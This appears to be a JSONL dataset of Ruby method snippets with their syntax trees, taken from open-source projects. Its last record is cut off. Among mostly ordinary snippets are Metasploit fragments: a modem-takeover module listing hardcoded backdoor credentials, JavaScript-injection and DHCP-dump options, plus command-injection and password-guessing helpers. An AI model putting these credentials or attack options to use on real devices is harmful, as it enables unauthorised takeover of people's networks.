{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user.rb","start_line":55,"raw_source":"def expand_info_panel\n        button = page.find(\"button[aria-controls='collapsed-info-panel']\")\n        button.click if button[\"aria-expanded\"] == \"false\"\n        self\n      end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_info_panel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"button\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"button[aria-controls='collapsed-info-panel']\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"button\"]},\"[]\",{\"type\":\"str\",\"children\":[\"aria-expanded\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"button\"]},\"click\"]},null]},{\"type\":\"self\",\"children\":[]}]}]}","id":"690f3be9-c5b0-4a19-9cab-cb023d935272"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/base.rb","start_line":968,"raw_source":"def collect_responses(headers, &block)\n        if block_given?\n          collect_responses_from_block(headers, &block)\n        elsif headers[:body]\n          collect_responses_from_text(headers)\n        else\n          collect_responses_from_templates(headers)\n        end\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_responses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"headers\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[null,\"collect_responses_from_block\",{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"collect_responses_from_text\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"send\",\"children\":[null,\"collect_responses_from_templates\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]}","id":"0b1624e5-4e69-4087-bfa9-2d708ec9731a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240409023046_queue_fix_corrupted_scanner_ids_of_vulnerability_reads.rb","start_line":14,"raw_source":"def up\n    Gitlab::Database::QueryAnalyzers::Base.suppress_schema_issues_for_decomposed_tables do\n      queue_batched_background_migration(\n        MIGRATION,\n        :vulnerability_reads,\n        :id,\n        job_interval: DELAY_INTERVAL,\n        batch_size: BATCH_SIZE,\n        sub_batch_size: SUB_BATCH_SIZE\n      )\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"QueryAnalyzers\"]},\"Base\"]},\"suppress_schema_issues_for_decomposed_tables\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"queue_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_reads\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_interval\"]},{\"type\":\"const\",\"children\":[null,\"DELAY_INTERVAL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sub_batch_size\"]},{\"type\":\"const\",\"children\":[null,\"SUB_BATCH_SIZE\"]}]}]}]}]}]}","id":"42a936c3-c936-4b08-b47b-18af58dea6c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/git_garbage_collect_methods.rb","start_line":52,"raw_source":"def default_lease_key(task, resource)\n    \"git_gc:#{task}:#{resource.class.name.underscore.pluralize}:#{resource.id}\"\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_lease_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"task\"]},{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git_gc:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"class\"]},\"name\"]},\"underscore\"]},\"pluralize\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"id\"]}]}]}]}","id":"6c5c63e6-f975-4dee-86a4-bb0c6d0d747d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/move_project_authorizations_service.rb","start_line":27,"raw_source":"def remove_remaining_authorizations\n      # I think because the Project Authorization table does not have a primary key\n      # it brings a lot a problems/bugs. First, Rails raises PG::SyntaxException if we use\n      # destroy_all instead of delete_all.\n      source_project.project_authorizations.delete_all(:delete_all)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_remaining_authorizations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_project\"]},\"project_authorizations\"]},\"delete_all\",{\"type\":\"sym\",\"children\":[\"delete_all\"]}]}]}","id":"bb63258b-1b48-4058-b9ef-a5c3bc07e4f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/mutations/design_management/delete_spec.rb","start_line":124,"raw_source":"def create_designs(how_many = 2)\n    create_list(:design, how_many, :with_file, issue: issue)\n  end","complexity_score":3.45,"ast_json":"{\"type\":\"def\",\"children\":[\"create_designs\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"how_many\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"create_list\",{\"type\":\"sym\",\"children\":[\"design\"]},{\"type\":\"lvar\",\"children\":[\"how_many\"]},{\"type\":\"sym\",\"children\":[\"with_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[null,\"issue\"]}]}]}]}]}","id":"fd8f2a23-b00d-4a0a-9f26-a2c1fbef289f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/ftp/client.rb","start_line":112,"raw_source":"def send_quit(nsock = self.sock)\n          raw_send(\"QUIT\\r\\n\", nsock)\n          recv_ftp_resp(nsock)\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_quit\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"nsock\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_send\",{\"type\":\"str\",\"children\":[\"QUIT\\r\\n\"]},{\"type\":\"lvar\",\"children\":[\"nsock\"]}]},{\"type\":\"send\",\"children\":[null,\"recv_ftp_resp\",{\"type\":\"lvar\",\"children\":[\"nsock\"]}]}]}]}","id":"3069adaa-8f91-46a9-a192-e7148ba46ac4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/android/local/koffee.rb","start_line":72,"raw_source":"def send_in(m_cmd)\n    cmd = \"#{datastore['MICOMD']} -c inject #{m_cmd}\"\n    cmd_exec(cmd)\n    print_good(' -- Command Sent -- ')\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_in\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m_cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MICOMD\"]}]}]},{\"type\":\"str\",\"children\":[\" -c inject \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m_cmd\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\" -- Command Sent -- \"]}]}]}]}","id":"6aa01b5f-705a-4694-88c2-28c07a302e24"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover',\n        'Description' => %q{\n          The web interface for the Arris / Motorola Surfboard SBG6580 has\n          several vulnerabilities that, when combined, allow an arbitrary website to take\n          control of the modem, even if the user is not currently logged in. The attacker\n          must successfully know, or guess, the target's internal gateway IP address.\n          This is usually a default value of 192.168.0.1.\n\n          First, a hardcoded backdoor account was discovered in the source code\n          of one device with the credentials \"technician/yZgO8Bvj\". Due to lack of CSRF\n          in the device's login form, these credentials - along with the default\n          \"admin/motorola\" - can be sent to the device by an arbitrary website, thus\n          inadvertently logging the user into the router.\n\n          Once successfully logged in, a persistent XSS vulnerability is\n          exploited in the firewall configuration page. This allows injection of\n          Javascript that can perform any available action in the router interface.\n\n          The following firmware versions have been tested as vulnerable:\n\n          SBG6580-6.5.2.0-GA-06-077-NOSH, and\n          SBG6580-8.6.1.0-GA-04-098-NOSH\n        },\n        'Author' => [ 'joev' ],\n        'DisclosureDate' => '2015-04-08',\n        'License' => MSF_LICENSE,\n        'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]],\n        'PassiveActions' => [ 'WebServer' ],\n        'DefaultAction' => 'WebServer',\n        'References' => [\n          [ 'CVE', '2015-0964' ], # XSS vulnerability\n          [ 'CVE', '2015-0965' ], # CSRF vulnerability\n          [ 'CVE', '2015-0966' ], # \"technician/yZgO8Bvj\" web interface backdoor\n          [ 'URL', 'http://web.archive.org/web/20220810083803/https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ],\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('DEVICE_IP', [\n        false,\n        'Internal IP address of the vulnerable device.',\n        '192.168.0.1'\n      ]),\n      OptString.new('LOGINS', [\n        false,\n        'Comma-separated list of user/pass combinations to attempt.',\n        'technician/yZgO8Bvj,admin/motorola'\n      ]),\n      OptBool.new('DUMP_DHCP_LIST', [\n        true,\n        'Dump the MAC, IP, and hostnames of all registered DHCP clients.',\n        true\n      ]),\n      OptInt.new('SET_DMZ_HOST', [\n        false,\n        'The final octet of the IP address to set in the DMZ (1-255).',\n        nil\n      ]),\n      OptString.new('BLOCK_INTERNET_ACCESS', [\n        false,\n        'Comma-separated list of IP addresses to block internet access for.',\n        ''\n      ]),\n      OptString.new('CUSTOM_JS', [\n        false,\n        'A string of javascript to execute in the context of the device web interface.',\n        ''\n      ]),\n      OptString.new('REMOTE_JS', [\n        false,\n        'A URL to inject into a script tag in the context of the device web interface.',\n        ''\n      ])\n    ])\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Arris / Motorola Surfboard SBG6580 Web Interface Takeover\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The web interface for the Arris / Motorola Surfboard SBG6580 has\\n\"]},{\"type\":\"str\",\"children\":[\"          several vulnerabilities that, when combined, allow an arbitrary website to take\\n\"]},{\"type\":\"str\",\"children\":[\"          control of the modem, even if the user is not currently logged in. The attacker\\n\"]},{\"type\":\"str\",\"children\":[\"          must successfully know, or guess, the target's internal gateway IP address.\\n\"]},{\"type\":\"str\",\"children\":[\"          This is usually a default value of 192.168.0.1.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          First, a hardcoded backdoor account was discovered in the source code\\n\"]},{\"type\":\"str\",\"children\":[\"          of one device with the credentials \\\"technician/yZgO8Bvj\\\". Due to lack of CSRF\\n\"]},{\"type\":\"str\",\"children\":[\"          in the device's login form, these credentials - along with the default\\n\"]},{\"type\":\"str\",\"children\":[\"          \\\"admin/motorola\\\" - can be sent to the device by an arbitrary website, thus\\n\"]},{\"type\":\"str\",\"children\":[\"          inadvertently logging the user into the router.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Once successfully logged in, a persistent XSS vulnerability is\\n\"]},{\"type\":\"str\",\"children\":[\"          exploited in the firewall configuration page. This allows injection of\\n\"]},{\"type\":\"str\",\"children\":[\"          Javascript that can perform any available action in the router interface.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The following firmware versions have been tested as vulnerable:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          SBG6580-6.5.2.0-GA-06-077-NOSH, and\\n\"]},{\"type\":\"str\",\"children\":[\"          SBG6580-8.6.1.0-GA-04-098-NOSH\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"joev\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2015-04-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WebServer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Serve exploit via web server\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PassiveActions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WebServer\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"WebServer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2015-0964\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2015-0965\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2015-0966\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20220810083803/https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEVICE_IP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Internal IP address of the vulnerable device.\"]},{\"type\":\"str\",\"children\":[\"192.168.0.1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOGINS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Comma-separated list of user/pass combinations to attempt.\"]},{\"type\":\"str\",\"children\":[\"technician/yZgO8Bvj,admin/motorola\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"DUMP_DHCP_LIST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Dump the MAC, IP, and hostnames of all registered DHCP clients.\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SET_DMZ_HOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The final octet of the IP address to set in the DMZ (1-255).\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BLOCK_INTERNET_ACCESS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Comma-separated list of IP addresses to block internet access for.\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CUSTOM_JS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A string of javascript to execute in the context of the device web interface.\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"REMOTE_JS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A URL to inject into a script tag in the context of the device web interface.\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"568aee95-0ea0-428d-b174-d7f4b32ff5be"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/abstract/callbacks_test.rb","start_line":227,"raw_source":"def setup\n        @controller = CallbacksWithArrayConditions.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CallbacksWithArrayConditions\"]},\"new\"]}]}]}","id":"c25a0dd0-d611-42e9-8924-601a12a1f9d5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/azure_ad_login.rb","start_line":172,"raw_source":"def run\n    each_user_pass do |cur_user, cur_pass|\n      check_login(datastore['TARGETURI'], datastore['DOMAIN'], cur_user, cur_pass)\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_user_pass\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cur_user\"]},{\"type\":\"arg\",\"children\":[\"cur_pass\"]}]},{\"type\":\"send\",\"children\":[null,\"check_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]},{\"type\":\"lvar\",\"children\":[\"cur_user\"]},{\"type\":\"lvar\",\"children\":[\"cur_pass\"]}]}]}]}","id":"974901c1-8eca-4427-aeb6-d228c71a4666"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_rescue.rb","start_line":83,"raw_source":"def exception_objects(resbody_node)\n          [resbody_node.exception_variable&.source, '$!', '$ERROR_INFO']\n        end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exception_objects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resbody_node\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resbody_node\"]},\"exception_variable\"]},\"source\"]},{\"type\":\"str\",\"children\":[\"$!\"]},{\"type\":\"str\",\"children\":[\"$ERROR_INFO\"]}]}]}","id":"3bd321a4-acb3-4a70-8f82-d3cac041fc84"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/proxy.rb","start_line":390,"raw_source":"def _update_winning_strategy(strategy, scope)\n      self.winning_strategy = @winning_strategies[scope] = strategy\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"_update_winning_strategy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"strategy\"]},{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"winning_strategy=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@winning_strategies\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"strategy\"]}]}]}]}","id":"6fca3c55-dfde-496f-8f76-f8adeb76fc58"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/spec/support/map_layer_helpers.rb","start_line":43,"raw_source":"def test_base_layer_switching\n    within('.leaflet-control-layers-expanded') do\n      # Check that we have base layer options (radio buttons)\n      expect(page).to have_css('input[type=\"radio\"]')\n\n      # Verify OpenStreetMap is available\n      expect(page).to have_content('OpenStreetMap')\n\n      # Test clicking different radio buttons if available\n      radio_buttons = all('input[type=\"radio\"]', visible: false)\n      expect(radio_buttons.length).to be >= 1\n\n      # Click the first radio button to test layer switching\n      if radio_buttons.length > 1\n        radio_buttons[1].click\n        sleep 1\n\n        # Click back to the first one\n        radio_buttons[0].click\n        sleep 1\n      end\n    end\n  end","complexity_score":37.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_base_layer_switching\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\".leaflet-control-layers-expanded\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"input[type=\\\"radio\\\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"str\",\"children\":[\"OpenStreetMap\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"radio_buttons\",{\"type\":\"send\",\"children\":[null,\"all\",{\"type\":\"str\",\"children\":[\"input[type=\\\"radio\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"radio_buttons\"]},\"length\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"be\"]},\">=\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"radio_buttons\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"radio_buttons\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"radio_buttons\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]}]}]}","id":"451006ef-0360-4ca1-90b3-bbe0f7dfd758"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_link_to_href.rb","start_line":146,"raw_source":"def call_on_params? exp\n    call? exp and\n    params? exp.target and\n    exp.method != :[]\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call_on_params?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"send\",\"children\":[null,\"params?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"[]\"]}]}]}]}","id":"93d8d18e-0c9c-4105-a5fe-58c050c5207a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-solved/lib/discourse_automation/entry_point.rb","start_line":5,"raw_source":"def self.inject(plugin)\n      plugin.on(:accepted_solution) do |post|\n        # testing directly automation is prone to issues\n        # we prefer to abstract logic in service object and test this\n        next if Rails.env.test?\n\n        name = \"first_accepted_solution\"\n        DiscourseAutomation::Automation\n          .where(trigger: name, enabled: true)\n          .find_each do |automation|\n            maximum_trust_level = automation.trigger_field(\"maximum_trust_level\")&.dig(\"value\")\n            if DiscourseSolved::FirstAcceptedPostSolutionValidator.check(\n                 post,\n                 trust_level: maximum_trust_level,\n               )\n              automation.trigger!(\n                \"kind\" => name,\n                \"accepted_post_id\" => post.id,\n                \"usernames\" => [post.user.username],\n                \"placeholders\" => {\n                  \"post_url\" => Discourse.base_url + post.url,\n                },\n              )\n            end\n          end\n      end\n\n      plugin.add_triggerable_to_scriptable(:first_accepted_solution, :send_pms)\n\n      DiscourseAutomation::Triggerable.add(:first_accepted_solution) do\n        placeholder :post_url\n\n        field :maximum_trust_level,\n              component: :choices,\n              extra: {\n                content: [\n                  {\n                    id: 1,\n                    name:\n                      \"discourse_automation.triggerables.first_accepted_solution.max_trust_level.tl1\",\n                  },\n                  {\n                    id: 2,\n                    name:\n                      